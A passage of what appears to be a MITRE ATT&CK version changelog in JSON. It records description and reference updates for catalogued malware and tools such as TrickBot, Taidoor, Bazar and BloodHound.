Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.\", \"url\": \"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/\"}, \"root['x_mitre_aliases'][1]\": \"Casbaneiro\", \"root['x_mitre_contributors'][0]\": \"Jose Luis S\\u00e1nchez Martinez\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Metamorfo](https://attack.mitre.org/software/S0455) is a bat1[Metamorfo](https://attack.mitre.org/software/S0455) is a La
>nking trojan operated by a Brazilian cybercrime group that h>tin-American banking trojan operated by a Brazilian cybercri
>as been active since at least April 2018. The group focuses >me group that has been active since at least April 2018. The
>on targeting mostly Brazilian users.(Citation: Medium Metamo> group focuses on targeting banks and cryptocurrency service
>rfo Apr 2020)>s in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)
 >(Citation: ESET Casbaneiro Oct 2019) 
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Old Description
New Description
t1[Octopus](https://attack.mitre.org/software/S0340) is a Windt1[Octopus](https://attack.mitre.org/software/S0340) is a Wind
>ows Trojan.(Citation: Securelist Octopus Oct 2018)>ows Trojan written in the Delphi programming language that h
 >as been used by [Nomadic Octopus](https://attack.mitre.org/g
 >roups/G0133) to target government organizations in Central A
 >sia since at least 2014.(Citation: Securelist Octopus Oct 20
 >18)(Citation: Security Affairs DustSquad Oct 2018)(Citation:
 > ESET Nomadic Octopus 2018) 
" }, { "type": "malware", "id": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:32:14.900000+00:00", "modified": "2021-10-15 12:34:22.853000+00:00", "name": "Taidoor", "description": "[Taidoor](https://attack.mitre.org/software/S0011) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor](https://attack.mitre.org/software/S0011) has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0011", "external_id": "S0011" }, { "source_name": "CISA MAR-10292089-1.v2 TAIDOOR August 2021", "description": "CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 \u2013 Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021.", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a" }, { "source_name": "TrendMicro Taidoor", "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Taidoor" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "2.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 12:34:22.853000+00:00\", \"old_value\": \"2020-03-30 18:21:09.468000+00:00\"}, \"root['description']\": {\"new_value\": \"[Taidoor](https://attack.mitre.org/software/S0011) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor](https://attack.mitre.org/software/S0011) has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor)\", \"old_value\": \"[Taidoor](https://attack.mitre.org/software/S0011) is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)\"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"CISA MAR-10292089-1.v2 TAIDOOR August 2021\", \"old_value\": \"TrendMicro Taidoor\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 \\u2013 Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021.\", \"old_value\": \"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a\", \"old_value\": \"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"TrendMicro Taidoor\", \"description\": \"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.\", \"url\": \"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Taidoor](https://attack.mitre.org/software/S0011) is malwart1[Taidoor](https://attack.mitre.org/software/S0011) is a remo
>e that has been used since at least 2010, primarily to targe>te access trojan (RAT) that has been used by Chinese governm
>t Taiwanese government organizations. (Citation: TrendMicro >ent cyber actors to maintain access on victim networks.(Cita
>Taidoor)>tion: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor](
 >https://attack.mitre.org/software/S0011) has primarily been 
 >used against Taiwanese government organizations since at lea
 >st 2010.(Citation: TrendMicro Taidoor)
" }, { "type": "malware", "id": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-10-17 00:14:20.652000+00:00", "modified": "2021-10-01 14:19:20.660000+00:00", "name": "TrickBot", "description": "[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0266", "external_id": "S0266" }, { "source_name": "TrickBot", "description": "(Citation: S2 Grupo TrickBot June 2017) (Citation: Trend Micro Totbrick Oct 2016) (Citation: TrendMicro Trickbot Feb 2019)" }, { "source_name": "Totbrick", "description": "(Citation: Trend Micro Totbrick Oct 2016) (Citation: Microsoft Totbrick Oct 2017)" }, { "source_name": "TSPY_TRICKLOAD", "description": "(Citation: Trend Micro Totbrick Oct 2016)" }, { "source_name": "S2 Grupo TrickBot June 2017", "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" }, { "source_name": "Fidelis TrickBot Oct 2016", "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre" }, { "source_name": "IBM TrickBot Nov 2016", "description": "Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot\u2019s Machinations. Retrieved August 2, 2018.", "url": "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/" }, { "source_name": "CrowdStrike Wizard Spider October 2020", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/" }, { "source_name": "Trend Micro Totbrick Oct 2016", "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n" }, { "source_name": "TrendMicro Trickbot Feb 2019", "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/" }, { "source_name": "Microsoft Totbrick Oct 2017", "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.", "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "TrickBot", "Totbrick", "TSPY_TRICKLOAD" ], "x_mitre_contributors": [ "Daniyal Naeem, BT Security", "Cybereason Nocturnus, @nocturnus", "Omkar Gudhate", "FS-ISAC" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "2.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-01 14:19:20.660000+00:00\", \"old_value\": \"2021-04-10 13:35:22.920000+00:00\"}, \"root['description']\": {\"new_value\": \"[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \\\"big game hunting\\\" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)\", \"old_value\": \"[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016)\"}, \"root['external_references'][7]['source_name']\": {\"new_value\": \"CrowdStrike Wizard Spider October 2020\", \"old_value\": \"Trend Micro Totbrick Oct 2016\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.\", \"old_value\": \"Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/\", \"old_value\": \"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n\"}, \"root['external_references'][8]['source_name']\": {\"new_value\": \"Trend Micro Totbrick Oct 2016\", \"old_value\": \"TrendMicro Trickbot Feb 2019\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.\", \"old_value\": \"Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n\", \"old_value\": \"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/\"}, \"root['external_references'][9]['source_name']\": {\"new_value\": \"TrendMicro Trickbot Feb 2019\", \"old_value\": \"Microsoft Totbrick Oct 2017\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.\", \"old_value\": \"Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.\"}, \"root['external_references'][9]['url']\": {\"new_value\": \"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/\", \"old_value\": \"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['external_references'][10]\": {\"source_name\": \"Microsoft Totbrick Oct 2017\", \"description\": \"Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.\", \"url\": \"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick\"}}}", "previous_version": "1.4", "version_change": "1.4 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[TrickBot](https://attack.mitre.org/software/S0266) is a Trot1[TrickBot](https://attack.mitre.org/software/S0266) is a Tro
>jan spyware program that has mainly been used for targeting >jan spyware program written in C++ that first emerged in Sep
>banking sites in United States, Canada, UK, Germany, Austral>tember 2016 as a possible successor to [Dyre](https://attack
>ia, Austria, Ireland, London, Switzerland, and Scotland. Tri>.mitre.org/software/S0024). [TrickBot](https://attack.mitre.
>ckBot first emerged in the wild in September 2016 and appear>org/software/S0266) was developed and initially used by [Wiz
>s to be a successor to [Dyre](https://attack.mitre.org/softw>ard Spider](https://attack.mitre.org/groups/G0102) for targe
>are/S0024). [TrickBot](https://attack.mitre.org/software/S02>ting banking sites in North America, Australia, and througho
>66) is developed in the C++ programming language. (Citation:>ut Europe; it has since been used against all sectors worldw
> S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oc>ide as part of \"big game hunting\" ransomware campaigns.(Cita
>t 2016) (Citation: IBM TrickBot Nov 2016)>tion: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBo
 >t Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: Crowd
 >Strike Wizard Spider October 2020)
" } ], "minor_version_changes": [ { "type": "malware", "id": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-26 19:36:04.663000+00:00", "modified": "2021-08-19 17:58:43.342000+00:00", "name": "Aria-body", "description": "[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0456", "external_id": "S0456" }, { "source_name": "CheckPoint Naikon May 2020", "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020.", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Aria-body" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-19 17:58:43.342000+00:00\", \"old_value\": \"2020-07-03 21:52:44.685000+00:00\"}, \"root['description']\": {\"new_value\": \"[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020)\", \"old_value\": \"[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019).(Citation: CheckPoint Naikon May 2020)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Aria-body](https://attack.mitre.org/software/S0456) is a cut1[Aria-body](https://attack.mitre.org/software/S0456) is a cu
>stom backdoor that has been used by [Naikon](https://attack.>stom backdoor that has been used by [Naikon](https://attack.
>mitre.org/groups/G0019).(Citation: CheckPoint Naikon May 202>mitre.org/groups/G0019) since approximately 2017.(Citation: 
>0)>CheckPoint Naikon May 2020)
" }, { "type": "malware", "id": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-11-18 19:07:48.008000+00:00", "modified": "2021-08-18 19:43:00.355000+00:00", "name": "Bazar", "description": "[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0534", "external_id": "S0534" }, { "source_name": "KEGTAP", "description": "(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: CrowdStrike Wizard Spider October 2020)" }, { "source_name": "Team9", "description": "(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)" }, { "source_name": "Cybereason Bazar July 2020", "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020.", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles" }, { "source_name": "FireEye KEGTAP SINGLEMALT October 2020", "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" }, { "source_name": "CrowdStrike Wizard Spider October 2020", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/" }, { "source_name": "NCC Group Team9 June 2020", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Bazar", "KEGTAP", "Team9" ], "x_mitre_contributors": [ "Cybereason Nocturnus, @nocturnus" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-18 19:43:00.355000+00:00\", \"old_value\": \"2021-04-16 21:43:13.433000+00:00\"}, \"root['description']\": {\"new_value\": \"[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)\", \"old_value\": \"[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor malware in use since at least April 2020, with infections mainly targeting professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) has been reported to have ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: CrowdStrike Wizard Spider October 2020)\", \"old_value\": \"(Citation: FireEye KEGTAP SINGLEMALT October 2020)\"}, \"root['external_references'][5]['source_name']\": {\"new_value\": \"CrowdStrike Wizard Spider October 2020\", \"old_value\": \"NCC Group Team9 June 2020\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.\", \"old_value\": \"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/\", \"old_value\": \"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][6]\": {\"source_name\": \"NCC Group Team9 June 2020\", \"description\": \"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.\", \"url\": \"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Bazar](https://attack.mitre.org/software/S0534) is a downlot1[Bazar](https://attack.mitre.org/software/S0534) is a downlo
>ader and backdoor malware in use since at least April 2020, >ader and backdoor that has been used since at least April 20
>with infections mainly targeting professional services, heal>20, with infections primarily against professional services,
>thcare, manufacturing, IT, logistics and travel companies ac> healthcare, manufacturing, IT, logistics and travel compani
>ross the US and Europe. [Bazar](https://attack.mitre.org/sof>es across the US and Europe. [Bazar](https://attack.mitre.or
>tware/S0534) has been reported to have ties to [TrickBot](ht>g/software/S0534) reportedly has ties to [TrickBot](https://
>tps://attack.mitre.org/software/S0266) campaigns and can be >attack.mitre.org/software/S0266) campaigns and can be used t
>used to deploy additional malware, including ransomware, and>o deploy additional malware, including ransomware, and to st
> to steal sensitive data.(Citation: Cybereason Bazar July 20>eal sensitive data.(Citation: Cybereason Bazar July 2020)
>20) 
" }, { "type": "malware", "id": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-10-17 00:14:20.652000+00:00", "modified": "2021-10-17 16:05:26.618000+00:00", "name": "Bisonal", "description": "[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014.(Citation: Unit 42 Bisonal July 2018)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0268", "external_id": "S0268" }, { "source_name": "Bisonal", "description": "(Citation: Unit 42 Bisonal July 2018)" }, { "source_name": "Unit 42 Bisonal July 2018", "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Bisonal" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:05:26.618000+00:00\", \"old_value\": \"2020-03-30 18:38:49.119000+00:00\"}, \"root['description']\": {\"new_value\": \"[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014.(Citation: Unit 42 Bisonal July 2018)\", \"old_value\": \"[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014. (Citation: Unit 42 Bisonal July 2018)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Bisonal](https://attack.mitre.org/software/S0268) is malwart1[Bisonal](https://attack.mitre.org/software/S0268) is malwar
>e that has been used in attacks against targets in Russia, S>e that has been used in attacks against targets in Russia, S
>outh Korea, and Japan. It has been observed in the wild sinc>outh Korea, and Japan. It has been observed in the wild sinc
>e 2014. (Citation: Unit 42 Bisonal July 2018)>e 2014.(Citation: Unit 42 Bisonal July 2018)
" }, { "type": "tool", "id": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-28 12:51:29.358000+00:00", "modified": "2021-10-14 23:23:19.517000+00:00", "name": "BloodHound", "description": "[BloodHound](https://attack.mitre.org/software/S0521) is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.(Citation: GitHub Bloodhound)(Citation: CrowdStrike BloodHound April 2018)(Citation: FoxIT Wocao December 2019)", "revoked": false, "labels": [ "tool" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0521", "external_id": "S0521" }, { "source_name": "GitHub Bloodhound", "description": "Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.", "url": "https://github.com/BloodHoundAD/BloodHound" }, { "source_name": "CrowdStrike BloodHound April 2018", "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.", "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/" }, { "source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "BloodHound" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 23:23:19.517000+00:00\", \"old_value\": \"2020-11-24 20:08:25.559000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1" }, { "type": "malware", "id": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-07-01 19:34:28.366000+00:00", "modified": "2021-10-16 20:26:31.452000+00:00", "name": "Bundlore", "description": "[Bundlore](https://attack.mitre.org/software/S0482) is adware written for macOS that has been in use since at least 2015. Though categorized as adware, [Bundlore](https://attack.mitre.org/software/S0482) has many features associated with more traditional backdoors.(Citation: MacKeeper Bundlore Apr 2019)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0482", "external_id": "S0482" }, { "source_name": "OSX.Bundlore", "description": "(Citation: MacKeeper Bundlore Apr 2019)" }, { "source_name": "MacKeeper Bundlore Apr 2019", "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020.", "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Bundlore", "OSX.Bundlore" ], "x_mitre_platforms": [ "macOS" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 20:26:31.452000+00:00\", \"old_value\": \"2020-07-06 15:18:53.409000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1" }, { "type": "malware", "id": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-07-15 19:48:35.063000+00:00", "modified": "2021-08-25 20:08:29.545000+00:00", "name": "Carberp", "description": "[Carberp](https://attack.mitre.org/software/S0484) is a credential and information stealing malware that has been active since at least 2009. [Carberp](https://attack.mitre.org/software/S0484)'s source code was leaked online in 2013, and subsequently used as the foundation for the [Carbanak](https://attack.mitre.org/software/S0030) backdoor.(Citation: Trend Micro Carberp February 2014)(Citation: KasperskyCarbanak)(Citation: RSA Carbanak November 2017)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0484", "external_id": "S0484" }, { "source_name": "Trend Micro Carberp February 2014", "description": "Trend Micro. (2014, February 27). CARBERP. Retrieved July 29, 2020.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/carberp" }, { "source_name": "KasperskyCarbanak", "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, February). 